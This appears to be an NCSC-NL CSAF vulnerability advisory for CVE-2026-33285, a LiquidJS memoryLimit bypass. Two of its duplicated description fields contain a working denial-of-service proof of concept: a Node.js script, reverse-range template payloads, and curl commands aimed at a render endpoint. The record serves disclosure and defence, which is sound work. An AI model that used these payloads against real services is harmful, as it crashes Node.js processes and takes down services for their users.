{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33285",
        "tracking": {
            "current_release_date": "2026-03-30T17:25:39.391484Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33285",
            "initial_release_date": "2026-03-25T18:42:39.399756Z",
            "revision_history": [
                {
                    "date": "2026-03-25T18:42:39.399756Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T18:42:48.050675Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-26T01:24:57.708288Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T01:24:59.095481Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T01:39:01.552436Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T01:39:04.910643Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T07:36:04.958948Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T15:02:09.051470Z",
                    "number": "8",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-26T23:42:24.890166Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T11:16:57.738406Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-28T07:42:00.835056Z",
                    "number": "11",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-30T14:40:32.475718Z",
                    "number": "12",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-30T17:25:11.543313Z",
                    "number": "13",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-30T17:25:17.392032Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "14"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.25.1",
                                "product": {
                                    "name": "vers:unknown/<10.25.1",
                                    "product_id": "CSAFPID-5913695"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=10.24.0",
                                "product": {
                                    "name": "vers:unknown/>=0|<=10.24.0",
                                    "product_id": "CSAFPID-5937998"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "liquidjs"
                    }
                ],
                "category": "vendor",
                "name": "harttle"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.25.1",
                                "product": {
                                    "name": "vers:unknown/<10.25.1",
                                    "product_id": "CSAFPID-5965484",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "liquidjs"
                    }
                ],
                "category": "vendor",
                "name": "liquidjs"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33285",
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n\nLiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a **V8 Fatal error that crashes the Node.js process**, resulting in complete denial of service from a single HTTP request.\n\n### Details\nWhen LiquidJS evaluates a range token `(low..high)`, it calls `ctx.memoryLimit.use(high - low + 1)` in `src/render/expression.ts:70` to account for memory usage. However, for reverse ranges where `low > high` (e.g., `(100000000..1)`), this computation yields a negative value (`1 - 100000000 + 1 = -99999998`).\n\nThe `Limiter.use()` method in `src/util/limiter.ts:11-14` does not validate that the `count` parameter is non-negative. It simply adds `count` to `this.base`, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured `memoryLimit` pass the `base + count <= limit` assertion.\n\n```typescript\n// src/render/expression.ts:67-72\nfunction * evalRangeToken (token: RangeToken, ctx: Context) {\n  const low: number = yield evalToken(token.lhs, ctx)\n  const high: number = yield evalToken(token.rhs, ctx)\n  ctx.memoryLimit.use(high - low + 1)  // high=1, low=1e8 → use(-99999999)\n  return range(+low, +high + 1)\n}\n\n// src/util/limiter.ts:11-14\nuse (count: number) {\n  count = +count || 0\n  assert(this.base + count <= this.limit, this.message)\n  this.base += count  // base becomes negative\n}\n```\n\n#### Escalation to Process Crash via Cons-String Flattening\n\nV8 optimizes string concatenation (`append` filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means `{% assign s = s | append: s %}` repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.\n\nHowever, when a filter that requires the full string buffer is applied — such as `replace` — V8 must \"flatten\" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a **V8 C++ level Fatal error** (`Fatal JavaScript invalid size error 134217729`) that:\n\n- **Cannot be caught** by JavaScript `try-catch` or `process.on('uncaughtException')`\n- **Immediately terminates** the Node.js process (exit code 133 / SIGTRAP)\n- **Crashes the entire service**, not just the attacking connection\n\nThe complete attack chain:\n1. Insert 5 reverse ranges `{% for x in (100000000..1) %}{% endfor %}` → memory budget becomes -500M\n2. Build a 134MB cons-string via 27 iterations of `{% assign s = s | append: s %}`  → negligible actual memory\n3. Apply `{% assign flat = s | replace: 'A', 'B' %}` → V8 attempts to flatten → **Fatal error → process crash**\n\nThe attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.\n\n### PoC\n- LiquidJS <= 10.24.x with `memoryLimit` option enabled\n- Attacker can control Liquid template source code \n\n\nSave the following as `poc_memorylimit_bypass.js` and run with `node poc_memorylimit_bypass.js`:\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n(async () => {\n  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n  // Step 1 — Baseline: memoryLimit blocks large allocation\n  console.log('=== Step 1: Baseline (should fail) ===');\n  try {\n    const baseline = \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(baseline);\n    console.log('Result:', result); // Should not reach here\n  } catch (e) {\n    console.log('Blocked:', e.message); // \"memory alloc limit exceeded\"\n  }\n\n  // Step 2 — Bypass: reverse ranges drive counter negative\n  console.log('\\n=== Step 2: Bypass (should succeed) ===');\n  try {\n    const bypass = \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(bypass);\n    console.log('Result:', result); // \"134217728\" — 134MB allocated despite 100MB limit\n  } catch (e) {\n    console.log('Error:', e.message);\n  }\n\n  // Step 3 — Process crash: cons-string flattening via replace\n  console.log('\\n=== Step 3: Process crash (node process will terminate) ===');\n  console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.');\n  try {\n    const crash = [\n      ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'),\n      \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}\",\n      \"{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}\"\n    ].join('');\n    const result = await engine.parseAndRender(crash);\n    console.log('Result:', result); // Should not reach here\n  } catch (e) {\n    console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable\n  }\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: Baseline (should fail) ===\nBlocked: memory alloc limit exceeded, line:1, col:43\n\n=== Step 2: Bypass (should succeed) ===\nResult: 134217728\n\n=== Step 3: Process crash (node process will terminate) ===\nIf the process exits here with code 133/SIGTRAP, the crash is confirmed.\n#\n# Fatal error in , line 0\n# Fatal JavaScript invalid size error 134217729\n#\n```\n\nThe process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and **cannot be caught** by `try-catch`, `process.on('uncaughtException')`, or any JavaScript error handler.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\nIf the application exposes an endpoint that renders user-supplied Liquid templates with `memoryLimit` configured (e.g., CMS preview, newsletter editor, etc.):\n\n```bash\n# Step 1 — Baseline: should return \"memory alloc limit exceeded\"\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 2 — Bypass: should return \"134217728\" (134MB allocated despite 100MB limit)\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 3 — Process crash: connection drops, server process terminates\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\\''A'\\'', '\\''B'\\'' %}{{ flat | size }}\"}'\n```\n\nReplace `http://<app>/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.\n\n### Impact\nAn attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the `memoryLimit` protection entirely and crash the Node.js process:\n\n- **Complete bypass of the `memoryLimit` security mechanism**: The explicitly configured memory limit becomes ineffective.\n- **Process crash from a single HTTP request**: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.\n- **Service-wide denial of service**: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.\n- **False sense of security**: Administrators who configured `memoryLimit` believe their service is protected when it is not.\n- **Container restart policy does not mitigate**: Even with Docker `restart: always` or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.",
                    "title": "github - https://api.github.com/advisories/GHSA-9r5m-9576-7f6x"
                },
                {
                    "category": "description",
                    "text": "LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33285"
                },
                {
                    "category": "description",
                    "text": "LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33285.json"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nLiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a **V8 Fatal error that crashes the Node.js process**, resulting in complete denial of service from a single HTTP request.\n\n### Details\nWhen LiquidJS evaluates a range token `(low..high)`, it calls `ctx.memoryLimit.use(high - low + 1)` in `src/render/expression.ts:70` to account for memory usage. However, for reverse ranges where `low > high` (e.g., `(100000000..1)`), this computation yields a negative value (`1 - 100000000 + 1 = -99999998`).\n\nThe `Limiter.use()` method in `src/util/limiter.ts:11-14` does not validate that the `count` parameter is non-negative. It simply adds `count` to `this.base`, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured `memoryLimit` pass the `base + count <= limit` assertion.\n\n```typescript\n// src/render/expression.ts:67-72\nfunction * evalRangeToken (token: RangeToken, ctx: Context) {\n  const low: number = yield evalToken(token.lhs, ctx)\n  const high: number = yield evalToken(token.rhs, ctx)\n  ctx.memoryLimit.use(high - low + 1)  // high=1, low=1e8 → use(-99999999)\n  return range(+low, +high + 1)\n}\n\n// src/util/limiter.ts:11-14\nuse (count: number) {\n  count = +count || 0\n  assert(this.base + count <= this.limit, this.message)\n  this.base += count  // base becomes negative\n}\n```\n\n#### Escalation to Process Crash via Cons-String Flattening\n\nV8 optimizes string concatenation (`append` filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means `{% assign s = s | append: s %}` repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.\n\nHowever, when a filter that requires the full string buffer is applied — such as `replace` — V8 must \"flatten\" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a **V8 C++ level Fatal error** (`Fatal JavaScript invalid size error 134217729`) that:\n\n- **Cannot be caught** by JavaScript `try-catch` or `process.on('uncaughtException')`\n- **Immediately terminates** the Node.js process (exit code 133 / SIGTRAP)\n- **Crashes the entire service**, not just the attacking connection\n\nThe complete attack chain:\n1. Insert 5 reverse ranges `{% for x in (100000000..1) %}{% endfor %}` → memory budget becomes -500M\n2. Build a 134MB cons-string via 27 iterations of `{% assign s = s | append: s %}`  → negligible actual memory\n3. Apply `{% assign flat = s | replace: 'A', 'B' %}` → V8 attempts to flatten → **Fatal error → process crash**\n\nThe attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.\n\n### PoC\n- LiquidJS <= 10.24.x with `memoryLimit` option enabled\n- Attacker can control Liquid template source code \n\n\nSave the following as `poc_memorylimit_bypass.js` and run with `node poc_memorylimit_bypass.js`:\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n(async () => {\n  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n  // Step 1 — Baseline: memoryLimit blocks large allocation\n  console.log('=== Step 1: Baseline (should fail) ===');\n  try {\n    const baseline = \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(baseline);\n    console.log('Result:', result); // Should not reach here\n  } catch (e) {\n    console.log('Blocked:', e.message); // \"memory alloc limit exceeded\"\n  }\n\n  // Step 2 — Bypass: reverse ranges drive counter negative\n  console.log('\\n=== Step 2: Bypass (should succeed) ===');\n  try {\n    const bypass = \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(bypass);\n    console.log('Result:', result); // \"134217728\" — 134MB allocated despite 100MB limit\n  } catch (e) {\n    console.log('Error:', e.message);\n  }\n\n  // Step 3 — Process crash: cons-string flattening via replace\n  console.log('\\n=== Step 3: Process crash (node process will terminate) ===');\n  console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.');\n  try {\n    const crash = [\n      ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'),\n      \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}\",\n      \"{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}\"\n    ].join('');\n    const result = await engine.parseAndRender(crash);\n    console.log('Result:', result); // Should not reach here\n  } catch (e) {\n    console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable\n  }\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: Baseline (should fail) ===\nBlocked: memory alloc limit exceeded, line:1, col:43\n\n=== Step 2: Bypass (should succeed) ===\nResult: 134217728\n\n=== Step 3: Process crash (node process will terminate) ===\nIf the process exits here with code 133/SIGTRAP, the crash is confirmed.\n#\n# Fatal error in , line 0\n# Fatal JavaScript invalid size error 134217729\n#\n```\n\nThe process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and **cannot be caught** by `try-catch`, `process.on('uncaughtException')`, or any JavaScript error handler.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\nIf the application exposes an endpoint that renders user-supplied Liquid templates with `memoryLimit` configured (e.g., CMS preview, newsletter editor, etc.):\n\n```bash\n# Step 1 — Baseline: should return \"memory alloc limit exceeded\"\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 2 — Bypass: should return \"134217728\" (134MB allocated despite 100MB limit)\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 3 — Process crash: connection drops, server process terminates\ncurl -s -X POST http://<app>/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\\''A'\\'', '\\''B'\\'' %}{{ flat | size }}\"}'\n```\n\nReplace `http://<app>/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.\n\n### Impact\nAn attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the `memoryLimit` protection entirely and crash the Node.js process:\n\n- **Complete bypass of the `memoryLimit` security mechanism**: The explicitly configured memory limit becomes ineffective.\n- **Process crash from a single HTTP request**: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.\n- **Service-wide denial of service**: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.\n- **False sense of security**: Administrators who configured `memoryLimit` believe their service is protected when it is not.\n- **Container restart policy does not mitigate**: Even with Docker `restart: always` or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-9r5m-9576-7f6x.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00044",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.2",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Exploit code publicly available",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5913695",
                    "CSAFPID-5937998",
                    "CSAFPID-5965484"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-9r5m-9576-7f6x"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33285"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33285.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-9r5m-9576-7f6x.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-9r5m-9576-7f6x"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-9r5m-9576-7f6x"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33285"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
                        "baseScore": 7.5,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5913695",
                        "CSAFPID-5937998",
                        "CSAFPID-5965484"
                    ]
                }
            ],
            "title": "CVE-2026-33285"
        }
    ]
}